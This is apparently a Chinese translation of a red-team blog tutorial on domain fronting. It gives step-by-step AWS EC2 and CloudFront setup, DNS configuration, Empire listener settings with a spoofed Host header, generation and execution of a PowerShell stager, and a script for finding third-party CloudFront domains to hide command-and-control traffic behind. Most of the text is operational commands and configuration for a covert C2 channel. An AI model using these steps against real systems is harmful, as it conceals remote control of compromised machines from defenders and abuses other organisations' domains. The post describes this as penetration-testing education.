导语:Domain fronting是一种新的渗透测试技术,可以混淆HTTP(S)流量的预期目标。这使得攻击者可以通过用“可信”域掩盖预期目的的来规避安全控制。在这篇博文中,我将设置AWS的CloudFront CDN服务来屏蔽到达我的Empire TeamServer的路径。
Domain fronting是一种新的渗透测试技术,可以混淆HTTP(S)流量的预期目标。这使得攻击者可以通过用“可信”域掩盖预期目的的来规避安全控制。在这篇博文中,我将设置AWS的CloudFront CDN服务来屏蔽到达我的Empire TeamServer的路径。
免责声明
本博客文章中的信息仅用于教育目的!HoldMyBeerSecurity.com/HoldMyBeer.xyz及其作者对博客帖子,讨论,活动或练习中提供的信息的任何滥用或损坏不承担任何责任。
什么是domain fronting?
如Red-Team-Infrastructure-Wiki所述,“简而言之,流量使用受信任的服务提供商的DNS和SNI名称,在下面的示例中使用Google。当边缘服务器接收到流量时(例如:位于gmail.com),数据包将被转发到数据包的主机头中指定的原始服务器(例如:phish.appspot.com)。根据服务提供商的不同,原始服务器会直接将流量转发到指定的域,我们将指向我们的团队服务器,或者需要代理应用来执行最后一跳转发。”
网络拓扑图
创建AWS资源
创建EC2 Empire团队服务器
1.从服务列表中选择“EC2”
2.选择“启动实例”
3.第1步:选择亚马逊机器映像(AMI)
· 选择“Ubuntu Server 16.04 LTS(HVM),SSD Volume Type”
4.第2步:选择一个实例类型
· 选择“t2.medium”
· 选择“配置实例详细信息”
5.第3步:配置实例详细信息
· 为网络选择“默认”
· 为子网选择“无偏好”
· 为“自动分配公共IP”选择“启用”
· 选择“下一步:添加存储”
6.第4步:添加存储
· 为“尺寸(GiB)”输入“20”
· 选择“添加标签”
7.第5步:添加标签
· 选择“添加标签”
· 输入密钥的“名称”
· 输入“Redteam-teamserver”作为值
· 选择“配置安全组”
8.第6步:配置安全组
· 为安全组名称输入“Redteam-teamserver”
· 对于SSH规则,输入你的公共IP作为源
我的学校有我将使用的公共IP范围
· 选择“添加规则”
将类型设置为“HTTP”
为源输入“0.0.0.0/0”
· 选择“查看和启动”
9.第7步:查看实例启动
· 选择启动
· 对于密钥对,选择“现有密钥对”或“新密钥对”
选择“启动实例”
10.选择“查看实例”
11.等待新的实例完全初始化
· “状态检查”栏应该是“2/2检查通过”
12.复制新实例的“IPv4公共IP”
创建CloudFront实例
1.从AWS服务中选择“CloudFront”
2.选择“创建分配”
3.选择“Web”下的“开始”以获得交付方式
4.原始设置
· 为Origin Domain Name输入“empire.hackinglab.beer”
· 查看器协议策略选择“HTTP和HTTPS”
5.默认缓存行为设置
· 为允许的HTTP方法选择“GET,HEAD,OPTIONS,PUT,POST,PATCH,DELETE”
· 选择“全部”用于转发Cookie
· 查询字符串转发和缓存选择“全部转发,全部基于缓存”
6.选择“创建分配”
· 此资源的创建可能需要长达20分钟。
通过Namecheap设置/配置域
本指南假定你已经购买了域名。你不必使用Namecheap,但它是我的首选注册商:)。我将为我的teamserver使用域名“hackinglab.beer”。
Hackinglab.beer – teamserver
1.登录到Namecheap.com
2.选择左侧的“域列表”
3.选择你想要配置的域名的“管理”功能
4.选择顶部的“高级DNS”选项卡
5.选择“添加新记录”
· 为类型选择“A记录”
· 为主机输入“Empire”
· 输入“<EC2 public IP addr for Empire teamserver>作为值
· 选择复选标记以保存记录
测试CDN
1.ssh [email protected]
2.cd /tmp
3.echo “<html><p>hello world</p></html>” > hello
4.sudo python -m SimpleHTTPServer 80
5.curl http://d0.awsstatic.com/hello –header ‘Host: <CloudFront domain name>’
· 看看上面的图片,找到域名的位置
安装Empire
1、ssh [email protected]
2、sudo apt update -y && sudo apt upgrade -y
3、git clone https://github.com/EmpireProject/Empire.git
4、cd Empire
5、sudo ./setup/install.sh
6、./empire
创建监听器
1.listeners
2.uselistener http
· set Name awsDF
· Host http://d0.awsstatic.com:80
· set DefaultProfile
/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko|Host: <CloudFront domain name>
3.execute
4.back
生成Powershell Stager
1.usestager multi/launcher awsDF
2.execute
引爆Powershell stager
1.启动Windows VM
2.打开Powershell提示符
3.从上面粘贴Powershell stager,然后回车
Hammer时间
所以让我们将领域转到NEXT层面。我们将使用由rvrsh3ll创建的脚本来查找正在使用CloudFront的域。这将使我们能够将这些域名用作我们流量的合法“目的地”。此活动可能被认为是非法的,因此谨慎行事,只有在你有权限的情况下才能继续。
Rvrsh3ll – FindFrontableDomains
1、git clone https://github.com/rvrsh3ll/FindFrontableDomains.git
2、pip install -r requirements
3、./setup.sh
4、python FindFrontableDomains.py -alexa 10000 -threads 20
测试域名
1.选择一个使用CloudFront的域
· 未经授权而使用域名可能是非法的,请谨慎行事。
2.curl http://<Domain using CloudFront>/hello –header ‘Host: <CloudFront domain name>’
创建Empire监听器
1、在Empire控制台输入 “exit”
2、./setup/reset.sh
3、./emire
4、listeners
5、uselistener http
· set Name awsDF
· set Host http://<Domain using CloudFront>:80
· set DefaultProfile
/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko|Host: <CloudFrontable domain name>
6、execute
7、back
生成Powershell stager
1.usestager multi/launcher awsDF
2.execute
3.Copy contents of stager
引爆Powershell stager
1.启动Windows VM
2.打开Powershell提示符
3.从上面粘贴Powershell stager,然后回车
资源/来源
Xorrior: Empire Domain Fronting